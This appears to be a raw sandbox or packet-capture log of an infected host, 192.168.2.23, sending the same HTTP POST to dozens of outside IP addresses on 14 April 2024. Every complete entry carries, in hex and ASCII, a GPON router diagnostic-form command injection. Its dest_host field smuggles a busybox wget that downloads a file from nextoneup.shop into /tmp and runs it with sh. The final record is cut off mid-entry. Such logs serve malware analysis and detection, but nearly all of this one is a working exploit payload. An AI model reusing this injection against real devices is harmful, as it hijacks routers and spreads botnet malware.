424	192.168.2.23	44646	148.82.156.221	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167761087 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
425	192.168.2.23	49956	5.156.123.102	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167788982 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
426	192.168.2.23	55830	178.196.134.59	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167843103 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.23	35358	37.1.194.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167871952 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.23	55224	118.242.135.133	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167939901 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.23	60448	202.63.63.211	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.167953014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.23	51356	117.123.194.139	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.168030977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.23	49938	210.91.102.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.168039083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.23	36866	118.71.142.223	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172306061 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.23	47682	202.152.124.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172328949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.23	59090	94.254.121.84	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172350883 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.23	39166	148.148.18.232	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172427893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.23	33146	109.127.136.178	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172456026 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.23	59652	123.213.11.58	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172544003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.23	56172	210.239.208.21	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172600985 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.23	56754	148.127.7.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172602892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.23	38364	212.9.217.51	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172602892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.23	44598	37.127.145.248	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172633886 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.23	52920	123.142.98.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172698021 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.23	42152	148.153.73.208	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172713995 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.23	52846	5.147.238.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172744036 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.23	58802	148.152.41.35	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172784090 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.23	42634	212.70.162.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172820091 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.23	34064	117.209.176.205	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172858000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.23	45802	210.183.94.123	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172892094 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.23	60838	202.71.169.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 03:59:56.172910929 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 